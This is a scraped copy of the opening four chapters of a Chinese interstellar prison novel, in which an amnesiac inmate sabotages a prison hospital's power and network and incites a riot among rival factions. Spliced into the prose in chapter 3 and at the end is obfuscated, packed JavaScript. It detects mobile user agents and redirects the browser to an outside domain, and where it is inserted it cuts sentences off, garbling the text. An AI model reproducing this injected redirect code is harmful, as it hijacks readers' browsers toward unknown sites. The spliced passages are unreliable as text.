《她从死囚荣登至高[星际]》 1. 第 1 章 重生的标配是什么? ——痛醒。 不幸的是,叶眠拿到了高配。 ——痛觉超敏体质+强抗药性+手术台上痛醒。 体验了一把物理上的头痛欲裂,叶眠说不出话,心里却毫无保留,她对这个世界的第一印象,是一句优美的[*星际粗口*]。 “麻醉过了,给她补一针。” “已经打了七针了,没事吗?” “她要痛死了。” 朦胧的声音钻进耳里,叶眠强撑着把眼睛睁开一条缝。 蓝色的房间,白光刺眼。 “别怕,手术很快结束。” 说话的人身形模糊,脸更是看不清楚, 他转头,语气沉稳:“上强效。” 强效麻醉的剂量,令人安心。 叶眠昏迷前的最后一个想法是:所以为什么不让我手术结束再醒啊! * 再睁眼的时候,叶眠趴在床上,头侧向一边,颈椎硬得像钢筋。 她转动干涩的眼珠,只见隔壁床位的“病友”已经盖了白布。 是个死人。 一动,后脑炸开剧痛,她动作一滞,[*星际粗口*]立刻涌到嘴边。 就在此时,开门声响起。 叶眠心跳加快,强行把优美吟唱咽下肚子,闭眼装晕。 “没意思,”第一个声音像个大喇叭,“老狱长一走,最近C监都没死人,噢,除了这个倒霉蛋。” 来人站到了隔壁床旁。这个“倒霉蛋”听起来不像我,叶眠想。 “没死人还不好?死亡率高了,小心被送进审判庭。”另一个说。 “反正天塌了有帽子高的顶着,”第一个人语气带笑,“是吧头儿?” “管好你的嘴。”头儿听起来年纪更大一些。 两人安静下去,一阵窸窸窣窣的声音响起。 他们在搬尸体。 “你觉不觉得,这倒霉鬼,有点眼熟?”还是大喇叭,他又开口了,说的是那具尸体。 “黑网杀手前百,刚进来两天。” “噢,是他,”第一个声音恍然,然后又带了点疑惑,“就这么死了?” “是有水分,叶绵绵邪门。” “二代禁制环强度有限,现在换三代了,”头儿淡淡地说,听起来像是转了个身,“带电击、麻醉、窒息警告、神经毒素。她也就能嚣张这么一次。” 汗毛微微竖起,叶眠几乎能感受到“头儿”的眼神刮过自己的眼皮。 她敬业地扮演着麻醉未醒的状态,手指却微微捏紧。 “啧,暂时不动她是吧?” “上面没提,不用管。”头儿说着,移开了视线。 直到房门闭合,叶眠才彻底放松身体,带着一头雾水睁开眼。 C监?叶绵绵? ……我? 摸了摸脖子上的金属环带,几分钟前她还以为这是什么装饰品,结果电击窒息神经毒素,好家伙,是根遥控索命绳。 袖子里有张纸片,毛边蹭得她发痒,叶眠费劲地掏了半天,摸到手肘才掏出来。 纸片:“法蒙已就任,想办法离开C监,我尽量接应。” 叶眠瞪眼:你是? 法蒙又是? 很快,一个圆脸护士出现了。护士服包裹着健壮的身躯,咖色卷发盘在脑后,下颌线轮廓硬挺,强壮到令人生不起反抗之心。 “你活下来是个奇迹,联盟医大的巡医队刚巧路过这里,”她一边检查点滴的速度一边说,“领队的学生切了你半个脑壳,然后用了生长因子,之后你的颅骨会慢慢自愈补全。” 说完,护士就跟趴在床上侧着脸、斜着眼的叶眠对视了。 她脸上明明白白地露出几分慈祥和不解:“你不懂钢筋条跟人骨的硬度差距吗?就争这一口气,要跟人分个胜负?” 256号?隔壁床那个死人? 叶眠眨眼不答,看似装傻,实则真傻。 护士检查了留置针,又给她喂了水:“死者方面向审判庭提起了诉讼,二次判决书两星期后到位,你可以在医院住到判决下来。” “好的,谢谢。”叶眠第一次开口,腮肉挤占口腔,说一个字就得吃一嘴床单。 呸呸呸。 她一边呸,一边皱着眉头猜二判是什么结果,下一秒护士叹了口气,给她透了个底儿。 “赶紧找找关系吧,还这么年轻,死立执多可惜啊。” 叶眠:? 二判死立执?我吗? 我不是好人牌吗? 她偏了偏头,避开吃床单的角度,小心翼翼地问:“请问,我一判犯了什么事?” “你不记得了?”护士看着她,像是有些摸不着头脑。 叶眠比她还摸不着头脑:“可能是开颅的后遗症?” “杀人入狱,八十年有期,”护士轻啧一声,又细细打量她一番,“我记得,审判庭推你一判相当神速,只用半天就把人收押了。能让那些好吃懒做的蛆虫利索一回,你也挺不得了的。” 叶眠:? 确实不得了,前途一片昏暗啊。 “你抗药性强,自己看着吃,”护士放下两瓶口服止痛药,叹了口气,颇为惋惜,“违规破坏禁制环、服刑期内二次杀人,我看你也不像那种到处惹事的人,怎么就想不开呢?” - 等护士走后,叶眠沉思半晌,还是解释不了,其他人嘴里的“叶绵绵”跟她是同一个人这件事。 她失忆得彻头彻尾,除了名字记得清楚,叶眠连常识都缺三少四。 比如让她莫名在意的禁制环,到底禁了什么东西啊? 想不通就先不想,世上无难事,只要肯放弃。 眼下情况实在不妙,总不能十四天体验卡结束,吃了枪子儿继续睡吧?叶眠琢磨着,还是得想办法离开监狱。 手头有效信息太少,根据纸片,叶绵绵在监狱外可能有队友。 但几个字不痛不痒,法蒙算个线索,立场又不明了。 要不,学习安迪前辈挖地道? 安前辈在肖申克是无期没死线,但她有啊,剩下的日子掰指头就数得清。 那,暴力越狱? 这就得看监狱布防情况了。 叶眠心里一动,反正躺在这儿约等于等死,她决定探索一下周围。 重伤未愈,她吃了些苦头才成功起身,脑袋坠得沉沉的,像是肩膀上压了一颗大肿瘤。 那很坏了。 她想叹气,却发现连叹气都不敢叹太猛。 床边放着电动轮椅,叶眠艰难地把自己挪了上去,顺手拿上一瓶止痛药,倒出几片干咽,等了两分钟,没起效。 叶眠:抗药性还真不是说着玩的。 她估摸着又补了几片,这才立竿见影,脑袋里的隐痛甚至晕眩恶心都褪去不少。 路过洗手台,叶眠看了眼镜子里的仪容。 陌生又熟悉的既视感一闪而过,叶眠掐了掐自己,镜子里的人也做出了同样的动作。 她若有所思:这确实是我的脸。 但如果我是我,叶绵绵又是谁? 为了做手术,叶眠头发被剃没了。镜子里的光头缠了半个脑袋的纱布,脸上稍有病气,却无死气。五官线条偏锐,笑起来又清爽,眼皮一掀,嘴角一提,还透出点意气风发的味道。 中,不丑。 叶眠满意点头,然后“嘶”了一声——头痛。 病房位于三楼,整座建筑呈回字形,叶眠病房的窗户朝回字内侧,她大略地扫了一圈,只能看到一片宁静祥和的小花园。 转着轮椅离开窗前,叶眠推开另一侧的病房门,头顶监视器亮着几点红光,安静的走廊里弥漫着消毒水的味道,没人。 叶眠看着指示标牌,一路畅通地挪到了点滴室。 这里零星坐着几个病号服,墙上大屏正在放新闻,如果不是大家手上都带着镣铐,很难说这是在人民监狱,而非人民医院。 叶眠找了个角落,锁住轮椅,若有若无的视线扫过全场——然后跟一个东张西望的胖子对上了眼。 “咦?叶绵绵?” 胖子灵活地挪了过来,表情有些惊讶。 他头发白到发光,眉毛甚至睫毛都是浅金色的,脖子上带着禁制环,手上带着金属手铐,但手背没有留置针。 白化症?叶眠想。 “你不在床上躺着养伤,乱跑干什么?”胖子注意到她的脖子,又好奇问,“他们给你换了新的禁制环?还挺精致。” 叶眠内心:别急,同志你是? “三代禁制环,带电击麻醉的好东西,”她现学现卖地说,“喜欢?送你。” 胖子缩了缩脖子:“有杀气。” “怎么会?等你换成三代的时候,我也会夸你戴着好看的,胖子。” 叶眠说着,伸手碰了碰胖子脖子上的禁制环, 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“不用看,你现在带着三代,异能肯定是用不出来了,”胖子故作老成地摇头,“就算评级A也不行。” “那你呢?”叶眠反问,“我至少评级A,你又几级?” “你忘了?我说过的。”胖子眨了眨眼睛。 “切。”叶眠迅速把头转走。 胖子拽拽她,没反应,又拽了拽,这才认命地开口:“开玩笑的嘛,别不理我。” 叶眠转回来。 “我是C级,只要没在饥饿状态,就能变出古早碳水食品,味道,嗯……比较不确定,”胖子挠头,“无毒无害,没有特殊效果,但有时候还挺好吃的?” 哇塞,超能力。 所以,禁制环是用来锁超能力的。 所以,人人都有超能力的世界,我的能力被锁了? 那还能越狱吗? 脑子里瞬间划过无数个念头,叶眠和蔼地想:头好痛,肯定是止痛药效过了。 “叶绵绵,你好奇怪耶。”胖子说。 “第一次听说有人可以变出食物,还是不好吃的那种。”叶眠回神,倒出一片止痛,顺手扔进嘴里。 “噢,害,那你还是见识少了,”胖子不以为然地说,“我家里有能催熟玉米的,有能手萃营养液的……他简直是移动粮仓,比我厉害多了。” 胖子的表情有些向往。 “还是战斗方面的异能更强一些吧。”叶眠试探地问。 “比起日常型、辅助型,战斗型确实更吃香,尤其是战争时期——虽然现在战争结束了。” 胖子有些不好意思地坦白:“其实我之前还怀疑过,你到底怎么觉醒的?异能这东西跟个性关系太大,你刚进来的那几天跟现在比,简直像人格分裂。” “细说分裂。” “呃……”胖子犹豫了一下,“比如,你之前真的很爱哭。” 哭?那很难学了。 叶眠目光虚了一瞬,咬着牙把话题扯回来:“这说明我的伪装很成功。” “太成功了,天衣无缝的演技,”胖子赞道,“所以,你是为了杀256号进的C监吗?” 叶眠:“你觉得呢?” “总不能是跟我一样避难来的吧。”胖子眼神里充斥着清澈的大智若愚。 嘿,白给! 叶眠看胖子的眼神越发慈祥,几句话就把他套了个干净。 “法格里布家门不幸,我真是来避难的。”胖子很悲伤。 按照计划,他本应拿个不痛不痒的罪名,然后去A监蹲着,结果不知道哪出了差错,进了C监。好在因为体质特殊,他积极来医院躲灾,目前还没被狱卒折磨过。 胖子:“C监名声一直不好,狱警会把一些囚徒关在一起,用斗兽式手段控制秩序。上一任典狱长更是个恶心的变态。” “怎么说?”叶眠有些好奇。 在她的印象里,监狱不该是秩序井然的地方吗?怎么还有典狱长带头作恶的? “他每个月举办囚徒比赛,解开禁制环,让他们上生死台,打到只剩一个活人才算完,”胖子摸了摸胳膊,“听说要被关C监的时候我心都凉了,还好来的时间合适,老狱长已经下台了。” “那新一任典狱长人怎么样?”叶眠顺着往下问。 “你说,法蒙?”胖子眨眼。 叶眠:霍! 2. 第 2 章 叶眠:“怎么可以见到他?” 胖子的眼神变幻:“找典狱长干什么?最近也得下个月巡检吧,我不确定。” 来不及。 “还有别的方式吗?”叶眠追问,“或者,什么情况?” “嗯……监狱内发生骚乱的话,作为最高管理者,肯定要出现吧。”胖子感觉有点不妙。 “唉,操作难度不小。”叶眠长叹一声。 刚做完手术,她状态实在说不上好。 胖子松了口气。 “但找找机会,也说不定?”叶眠开朗一笑。 胖子五官扭到一起。 这是要搞事的节奏啊喂! - 医院食堂比监狱里的伙食好一些,这是胖子说的。 但还是相当难以下咽。 叶眠食不知味地暗示自己,要摄入足够的营养素,不吃就饿死。 ——出狱后我一定、一定要吃点人能吃的。 她又挖了一勺黄色羹体送到嘴里。 固体部分尝起来像墙粉结块,但是泡的汤汁又过甜,口感深刻到让人吃一口难忘一辈子。 绿色蔬菜、或者是某种藻类,外表是死亡的深褐色,吃到嘴里有股雨后泥土的味道,干涩的口感如慢速电钻来回磋磨舌头,苦味绕梁三日不绝于嘴。 ——赶紧离开监狱的理由又增加了,叶眠想。 - 下午,叶眠再次扩大了她的活动范围,等她把医院逛完一圈,两瓶止痛都快吃完了。 所有向外侧的窗户都是锁着的,唯一的正门出入需要通行条。 一楼是食堂和药房,二楼是各种诊室,三楼是叶眠住的病房区。 挂维生机的重伤病患住在四楼东侧,以值班室为界,西侧是手术室。叶眠路过器材室,里面没有人,门也只是虚掩着。 她四顾无人,果断推门进去,过了会儿,又若无其事地转着轮椅出来,病号服里鼓鼓囊囊,塞了东西。 叶眠尝试了在器械室内看到的所有尖锐物品,没有任何一件能让她脖子上的禁制环破损哪怕一点。 她还看到了一把手持激光刀,一念之下,叶眠把激光刀连带着充能器都顺回了自己病房。 人生的乐趣在于尝试。 第一次使用激光刀不够熟练,叶眠对着镜子仰着脸,按下开关的时候,一不小心戳到了下巴。 嗷! 高温激光几乎立刻就烫焦了伤口,有股微妙的糊香蔓延开来。 叶眠咽下最后一片止痛,老老实实地找了外科医生。 - 老大夫处理烧焦的伤口时,手段十分凶狠。 止痛打了两管,止血药的药效也很差,叶眠从下巴到脖子都血刺呼啦的,活像凶杀现场。 “医生,这样会留疤吗?” 其实叶眠真正想问的是:切割伤这样处理,真的没问题吗? “运气好就不会。”医生头发花白,带着单边眼镜——可能是老花镜——身上有种老艺术家的从容。 他给叶眠的下巴缝了四针。 缝到第二针,叶眠的痛觉神经就苏醒了,看她呲牙咧嘴疼得不行,医生没办法,又打了一管止痛药。 “有这么痛?”他嘀咕。 叶眠假装没听到。 问她伤口怎么搞的,叶眠一脸老实:“摔的,医生。我头晕,就摔到地上了。” “严重吗?给你开点药。”老医生很严肃。 “很严重,甚至影响睡觉。”叶眠本着“来都来了薅点再走”的心思,完全是想到哪说到哪。 “那给你开点安眠。” “医生,我抗药性比较强。”她得寸进尺。 “所以你用了我三管止痛,三管。好了,开点安定不要紧,出院的时候一起结账。” 医生摘了一次性手套扔掉,挥挥手让叶眠拿着单子赶紧走。 结账? 叶眠拿着单子一步一回头:那能退吗还? - 等到傍晚,护士见到她包着纱布的下巴,脸上露出了明晃晃的谴责。 “又干了什么好事?再深一点就伤到骨头了,还好偏了一点,”她扳着叶眠的脸看,表情严肃,动作倒是温和,“外科那位也是个老顽固,他不用科技手段,你这个下巴缝了针,以后还是要留疤的。” 叶眠暗想,留疤倒是小事。头被拨来拨去,她老实万分:“抱歉,我就是好奇,医院里看守这么松弛,感觉摘了禁制环就能跑。” “医院内部无所谓,犯人们都带着禁制环,”护士轻描淡写地勾了勾手,窗帘仿佛被无形的力量扯平,乖顺地垂下,“医院外面的防线你看不见,我只能说,很强的喔。” 叶眠还是第一次看到别人施展异能,目光被勾跑,看得护士莞尔一笑。 “如果你想跑,至少要搞到禁制环的密钥,傻孩子,”护士怜爱地摸了摸叶眠头顶,小心地避开了她的后脑,“禁制环和金属镣铐的非法损坏都会引发报警,不要有什么危险的想法噢。” “原来如此,”叶眠小声答应。 护士拆了她头上纱布查看了一下出血情况,又拿了电视镜:“用药都是按天数配好的,没留给你折腾的份额,可让人省点心吧。” 护士嘴快手也麻利,给她又抹了一层药膏,拿纱布重新把头缠起来。 叶眠一动不动,忍着疼,假装自己是个无知无觉的木偶。 她问:“姐,给我做手术的医生什么时候走的?” 怎么都是救命之恩,当涌泉相报。 护士随口答道:“你 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“很好,所以你明天下午或者晚上再来,”叶眠一锤定音,想了想又补了一句,“如果顺利的话。” “别做傻事啊绵绵。”胖子面色肃然。 “不会,”叶眠说,“还有,往后不要叫我绵绵,我是叶眠。” “你也不叫我拉米亚纳法格里布,”胖子嘀咕道,“叶绵。” “眠。不要当文盲。”叶眠拍拍他肩膀,两个字在通用语发音上有区别。 - 晚上十一点熄灯后,医院仿佛也陷入沉睡了。 虽然C监在监狱里可能算大的——毕竟穷乡僻壤地皮便宜——但C监医院并不大。 今天早上接待了一批持械闹事的犯人,导致现在病房塞满了缺胳膊断腿的囚徒。 白日里他们的咒骂声、申吟声不绝于耳,叶眠能听清至少有三拨人——“法蒙的走狗”、“老狱长的鹰犬”、“自由帮的喽啰”。 叶眠还听到几次护士的大叫,诸如“不要动你的腿”“你的手指已经接上两次,不要再弄断”“假肢不是武器”之类,听起来很是崩溃。 时间走到后半夜,走廊里已经静得落针可闻,只偶尔冒出一声悠长的痛吟。 急诊亮着灯,值班的年轻医生姓李,叶眠的窗户正对急诊值班室,他在聚精会神地看电影。 车库里,关押车司机躺在车厢里的担架上打鼾。 保卫员抱着枪在警卫室脑袋一点一点地打瞌睡。 叶眠咽下止痛,把开了封的止痛药瓶子单独放进一个衣服口袋里。 她摸黑出动了。 这次没用轮椅。 3. 第 3 章 她的目标很明确——切断电力供应,让整个三楼病房区陷入黑暗。 踩着微弱的月光,叶眠下到二楼半。 储物隔间的小门不上锁,门后就是开关控制阀。 手中小刀轻轻一撬,嵌满开关的金属板发出“咔哒”一声。叶眠动作顿了顿,确认环境依旧死寂后,才继续操作。 手指灵巧地拨开各色线路,激光刀在她手中闪过刹那光芒,映衬出叶眠眼中微弱而稳定的神采。 “咔嚓——” 应急小灯的光芒骤然熄灭,整个楼梯间连着走廊都彻底陷入漆黑。 叶眠没有停下,她一根根筛过,把备用线路也迅速划断,确保电力无法在短时间内恢复。 最后一根双绞线……网络总线? 她眼神微深:意外之喜。 心脏在胸腔中跳动,仿佛黑暗中唯一的鼓点。 叶眠做完一切,悄无声息地回到了自己病房——旁边的11号病房。 开门时,她故意让门轴发出一声轻微的“吱呀”声。 “谁在那里!”靠门床位的男人猛地坐了起来,声音里带着警惕。 “一切为了自由。”叶眠压低声音说。 自由帮的中二口号,她今天听到了好多次。 白天她摸清了这一层病房的势力分布:她所在的10号病房,右边11号两人是自由帮成员,左边9号则是新狱长法蒙的“追随者”。 “我给你们解开手铐。”叶眠走近,一把按住他床边的手,亮出了激光刀。 “不!” 会触发报警! 慢了。 刀锋在黑暗中划出一道光弧,精准地融断了手铐关节。 裂开的镣铐无声落到叶眠手中,断面还带着金属熔融的微光。 ——一片安宁。 自由帮成员瞪着眼,预想中的警报并未响起。 叶眠的猜想被印证了:局域网总线架构覆盖医院,刚刚被她切断,所以手铐内置的联网警报没被触发。 既然绕过手铐警报如此轻松,她心中越狱的念头再次复苏。 “为什么没报警?”自由帮成员有些疑惑,“激光刀?哪里拿的好东西?” 叶眠没有接话,用同样的方式解开了第二个人的手铐。 他们二人摸着自由的手腕,叶眠低声开口:“我去其他病房给他们解开手铐,然后再行动。” 她故意说的模棱两可,想试探一下对方的反应。 “行动?什么行动?” 靠窗的成员皱了皱眉:“医院内警卫松散,但医院外,三面二十米高的高压电网,我们带着禁制环不可能越过。唯一通道连向C监9区,过了检查站,重犯区更是守卫森严。” 靠门的那人接上,语气颓唐:“昨天的争斗已经结束了,我们谁也没讨到好。” 叶眠眼神闪烁,露出一丝若有若无的笑意。 她的声音压得更低:“别急。现在他们手无寸铁、毫无防备,只要我们把握机会,自由帮就能成为唯一的胜利者,你们都会是帮派的功臣。” 叶眠放下手术刀,房间里依然是一片沉默。他们显然被这个提议震惊了,但叶眠没有给他们思考的时间。 “一次不成,便再来一次。难道我们只能平静地接受失败,忍受那两伙跳梁小丑践踏我们的信仰吗?” “重伤的兄弟靠维生机苟活,你们没想过用一场堂堂正正的胜利为他送行吗?” “一切为了自由,难道,只是口号而已吗?” 激情演说结束,叶眠抖掉自己胳膊上的鸡皮疙瘩:“抱歉,恕我无法束手旁观。” 见她作势要离开,靠门床位的自由帮成员坐起身,咬了咬牙,低声说道:“3、6、8、9号病房,都是我们的人。” 不就是搏一搏,单车变摩托? 自由帮从没怕过! “摔杯为号。” 叶眠点头,转身,眼角微弯。 合上门,她靠在走廊冰凉的墙壁上,打开口袋里的止痛又咽了一片。 接下来的一个小时里,叶眠像一只无声的影子,穿梭在病房之间。 她用激光刀解开了所有人的手铐,鼓动自由帮再次冲锋的同时,也在法蒙派的病房里散布了“自由帮即将发动袭击”的消息。 在10号病房,叶眠扮演了一个无辜的伤患,声称自己无意中听到了隔壁自由帮的密谋,前来寻求保护。 她的语气真诚而惶恐,成功赢得了法蒙派成员的信任。 “确实是自由帮那群疯子的作风,我们会保护你的,”法蒙派的成员低声说道,“你去帮我们的人解开手铐,然后,我们一起反击。” 叶眠点了点头,将几把手术刀留给了他们,离开的脚步轻巧而果断。 这些派系的成员各有特色,仿佛监狱里联系紧密的小社团。 自由帮重刑犯偏多。 他们的初级目标是C监内的话语权,而终极目标半遮半掩,其实也不难猜——越狱。 正如他们的口号:一切为了自由。 法蒙派则多是轻量级、低威胁的罪犯们。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224734|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在监狱长换任的这个时间节点,他们寄希望于法蒙是个好人,会给C监这片污浊的地方带来新的空气——比如引入缓释和减刑,比如整肃狱风、更换狱卒。 叶眠认为,他们将希望寄托于法蒙,其实也隐含着对新任典狱长权威的试探,总之这是一种很微妙的集群。 排除掉自由帮和法蒙派的病房,剩下的便是老狱长的鹰犬。 不论最初是因什么罪名被关进C监,他们从生死台上活下来这件事,就足够他们立威服众,因为不甘心搏命拿下的特权被一笔勾销,所以他们组成了老狱长派。 胖子给出的信息有限,他也没真上过生死台,所以描述可能夸大其词。 考虑到这些人手沾不止一条人命,叶眠权衡过,是否要引导他们加入今夜的战场? 但要制造足够的混乱,她还是决定去打开老虎笼子。 2号病房是老狱长派的据点之一。 叶眠推开门时,能感觉到空气的凝滞。他们是真正的亡命徒。 “我是来给你们解手铐的。”她声音冷静,掩上门,手中的激光刀在黑暗中亮出形状。 房间里的人没有回应,但他们的目光锁定在她身上,注意着她的任何举动。 叶眠没有退缩,继续游说:“自由帮和法蒙派会在今晚发动二次袭击。你们可以选择隔岸观火,或者,取渔翁之利。” 她在试探对方的底线。 鹬蚌相争,他们岂会束手旁观?这次立威的机会,可能是老狱长最后的余晖。 房间里依旧沉默,但对手的呼吸声悄然加快。 叶眠走近,在两人无声的注视下完成了切断手铐的操作,然后将手术刀放在桌上,就准备转身离开。 沙哑的声音传来:“时间?” “很快。”叶眠沉静回答。 她没有回头。 当走进自己的病房时,叶眠口袋里的止痛已经被吃完了,后背被冷汗浸透,因为紧张,也因为痛。 她不得不承认,自己有些享受这种游走刀锋的感觉。心跳降不下来,血液在畅快奔流,紧绷的情绪勾紧心弦,隐约铮铮作响。 不过,止痛药效过了之后,那根被取出的钢筋仿佛又被插回大脑,搅得她又疼又晕,眼前发黑。 希望这把野火,能顺利烧到法蒙的办公桌前。 叶眠拿起自己用了两天的玻璃杯,轻轻地摔到了地上。 “啪——” 清脆的碎裂声在寂静的走廊中回荡,像发起冲击的号角,点爆了暗潮汹涌的夜色。 4. 第 4 章 不知道是谁第一个打开了门,又是谁第一个迈出了房间。 杯子碎裂的声响宣告了今夜医院动荡的开端,最初的几秒还没什么动静,但缓冲很短,仅仅是回神的功夫,一切都乱套了。 黑夜激发了人的斗志和勇气。 跑动的脚步、指挥与叫骂的话语声,摆件碎裂的脆响,闷闷的碰撞、受伤痛呼的嚎叫……兵荒马乱,场面如同一锅被炖到沸腾的滚粥。 冲突逐渐扩大,好像整个世界都变得失序和嘈杂起来,心有疑惑的人来不及细想,这场发自人类好斗本性、群体行为冲昏个体头脑的群殴,像龙卷风一样把所有人都裹了进去。 叶眠抵着门听,感慨真是一场混战。 有人喊着开灯,有人误伤友军,有人后知后觉地加入战斗。 有人的刀子捅进了别人的身体,有人的拳头落到了别人脸上,有人拿着手铐乱甩,试图浑水摸鱼——他们的武器被没收走了,趁手的道具实在太少。 战场主要位于走廊中部,叶眠拉开门,她的病房靠近走廊尽头的楼梯。 她一手扶着头试图固定——走路的时候脑袋晃得厉害,她实在痛得没法——一边小心地摸着墙走。 没有灯也没有窗的走廊,肉眼视力实在有限,好在她还是顺利地溜了出来。 三楼的混乱很快就被楼下的保卫员发现了,他拿起枪,叫醒关押车的司机,又通知监狱的警卫队前来援助,强行拽起战战兢兢的李医生上楼。 在楼梯间,他们正面遇到了叶眠。 “我没有恶意。” 面对着保卫员黑洞洞的枪口,叶眠感觉自己的视线模糊了一瞬。今夜的行动对于她重伤未愈的脑袋来说压力太大,止痛药的效果越来越差,她干脆没有再吃。 “只是跟我一个楼层的病人们突然闹了起来,我想下去找你们求助,”叶眠粗粗喘了口气,因为痛和眩晕,她的声音都在发颤,连害怕都不用装了,“我们楼层的电闸好像跳了,灯打不开,上面太乱了,二十号人的混战,太可怕了,真的太可怕了。” 保卫员严肃地说:“谢谢你的信息,女士,目前三楼的情况我已经有所了解,监控也被破坏了……” 因为叶眠把整个三楼的电都断了。 “我不建议你现在上去,”叶眠打断他,递出台阶,“人真的太多了,只有你自己肯定是不够的,或许我们可以等到援助的队伍到,而且现在我需要医生,我的头非常痛。” 她听到自己的心声:再等一等,等混乱再发酵一些。 “是的,是的,她需要我,我先不上楼了,保卫员先生……如果可以的话。”李医生咽了咽口水,惶恐不安地说。 “好吧,那我们先去急诊。我会保护你们的安全。”保卫员妥协说。 大概十分钟后,四台车驶入了医院的院子,跳下来真枪实弹的十多个警卫。叶眠从急诊室的窗户看得清楚,一切都与她无关。 她今日运动量超标,后脑渗血肿胀、刀口边缘有些感染,医生给她换了纱布,叮嘱她不要再乱动,叶眠满嘴答应。 “我不了解你用的这种技术,注射生长因子、移植细胞什么的,所以其他的我做不了,也不会做。明天找一下为你负责的医生,让他看看,有没有什么别的需要注意的。”李医生一边说,一边把纱布的尾巴妥帖地掖了进去。 叶眠坐着歇了会,感觉好些了。 “保卫员先生,医院闹出这种乱子会有什么后果?”叶眠问房间里的另一个人。 保卫员站在窗边回答她:“可能会加强医院这边的值班人手,强化病房的管理。之前只认为医院逃不出去人就够,有禁制环在,谅他们没有工具也闹不出来什么事,结果竟然闹得这么严重……” 有枪声响起。叶眠眼都没眨。 “监狱长会来亲自处理吗?”她问。 “也许会,”保卫员说,一边拿起枪,准备前往三楼,“但说不准。我也不太清楚那位新任典狱长的性情。” 叶眠估摸着三楼的打斗持续到现在应该也告一段落,她没再多话,目送保卫员出门。 警卫把重伤的犯人送到手术室,被临时叫来的医生已经在准备手术。 外科的老医生一边带手套一边咕哝,说睡到一半被打断,这些犯人真是烦人透了。旁边的年轻医生也打着哈欠,赞同地应了一声。 今夜最锋利的武器是不到二十厘米长的短手术刀,狱警根本没开几枪。参与混战的人里有四五个重伤,受伤最轻的身上甚至只有擦伤,被抓起来的时候他们还有些意犹未尽、骂骂咧咧。 虽然不知道哪个环节出了问题,但警卫也懒得管他们到底是因为什么打架,只当是昨天没打够,等天亮走完程序,该延长服刑期的一个都跑不掉。 医疗费的单子送到手里,有些人才沉默下来,打架的时候理性被激情控制了,如今冷静下来还要面对现实。 叶眠作为“受害者”被暂时移到了四楼的病房,她到现在也没看过自己的诊疗单,但想必也不会好看到哪去。 夜里“共患难”的保卫员叫王五。 天快亮的时候叶眠短暂地睡了一小会,等醒来的时候,王五出现在病房里,直截了当地告诉她:“典狱长说要见你。” 叶眠愣了愣,看了眼窗外已经大亮的天色:“现在吗?” “是的,现在。”王五说。 典狱长本人的办公室在监狱区,叶眠目前的状态还不方便离开医院。所以叶眠是在外科医生办公室里见到的他。 敲门进去的时候,入眼是一个高大的背影。 宽阔的肩膀和健壮的脊背组成了完美的衣架,身体撑起皮质大衣的外轮廓,让人联想到澎湃的力量。脑后覆盖着修剪整齐的短短发茬,彰显着如同军人般的纪律与克制。 叶眠有点轻浮地在心里吹了声口哨。 “叶绵绵,278号犯人,服刑于C监6区,剩余服刑时限79年11个月,四天前再次杀人,目前正在等待二判。” “是的,先生。”叶眠心想,原来我住6区。 “你是昨夜医院事件的受害者,说说你知道的。”法蒙转过身来,隔着桌子与她对视。 磁性的声音,完美的脸。眉眼深邃,鼻梁高挺,嘴唇又薄又直,表情冷淡,如同素描使用的石膏像一般,整个人散发着大理石一样的凉意。 叶眠又在心里吹了一声口哨,但嘴巴太快,直接吹出了声。 “叶绵绵,”法蒙皱眉,“我在问话。” “好的,先生。” 叶眠脸上挂着微笑,感觉他可能有些不适应念出这个名字。 ——毕竟这种软糯的叠词从嘴里念出来,天然带着点黏糊和甜蜜。 法蒙冷着一张脸念到“绵绵”的时候,咬字十分令人想入非非。假如这不是在审讯问话,假如是在别的地方,比如床上,沙发上,桌子上,浴缸里…… 血液奔流,骨子里的欲望初露锋芒。 她及时地收回思绪,在典狱长耐心耗尽前,捡着自己白天听到的说了说,包括三方势力的复杂关系,着重讲了讲可能法蒙自己都不知道的小弟们。 叶眠认为自己表达了最大的诚意,可惜法蒙没被她带跑。 “监狱应该是遵守秩序的地方,二三十人规模的打斗,一天之内出现两次,很难不让人怀疑其中有鬼,”他接着说,“警卫在你的病房里发现了这个。” 他把激光刀的充能器放在了桌子上,于是叶眠把口袋里能量耗尽的刀也拿了出来。 “我试图用激光刀剪指甲来着,这样也犯法吗?”叶眠随口乱扯,“没用过这类危险刀具,所以很不熟练,这里的伤就是被它戳出来的,外科的老医生可以帮我作证,噢,他现在应该被抓去做手术了。” 叶眠扬了扬下巴,大方展示自己伤口上的纱布,眼神却盯紧了对面的人,没有一瞬的放松。 法蒙的表情有点难以描述,叶眠觉得这不像是什么正面的反应——他大概不是“自己人”。 “手铐的断面都是用激光刀破坏的,这又怎么解释?” “尊敬的典狱长先生,您的意思该不会是,我,顶着重伤未愈的半个脑壳,在这个黑灯瞎火的晚上,分别跑进了这三方势力的病房,一个一个给他们把手铐打开,挑唆他们进行乱斗吧?” 叶眠歪了歪头,语气认真。 对面之人还没出声,她便撸起袖子,伸出自己的胳膊,弯折发力。 因为瘦,所以能看出薄薄肌肉的形状,不妨碍她现在纤细到可以归到营养不良的范畴里。 法蒙搓了搓眉心。 他从未考虑过接下典狱长这份职责,管理监狱对他而言并非荣耀,只是综合考虑的下策。最近他一直忙于处理部队被告上军事法庭的事情,即使明眼人都知道,这是一场彻头彻尾的污蔑。 昨天案子刚刚告一段落,他一闲下来就听说C监有人闹事。 沈之前递了消息,说本来到C监想跟他见一面,结果人没见着,碰到一个因故入狱的反抗军,他下了血本,把人从生死关拉了回来。 “打动她,策反她,这样我们就可以拥有一个二五仔了,”沈这样怂恿法蒙,“她在反抗军里的身份……很微妙。” 法蒙没有第一时间找她,因为内心并不相信一个女死囚能翻出什么水花。 然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 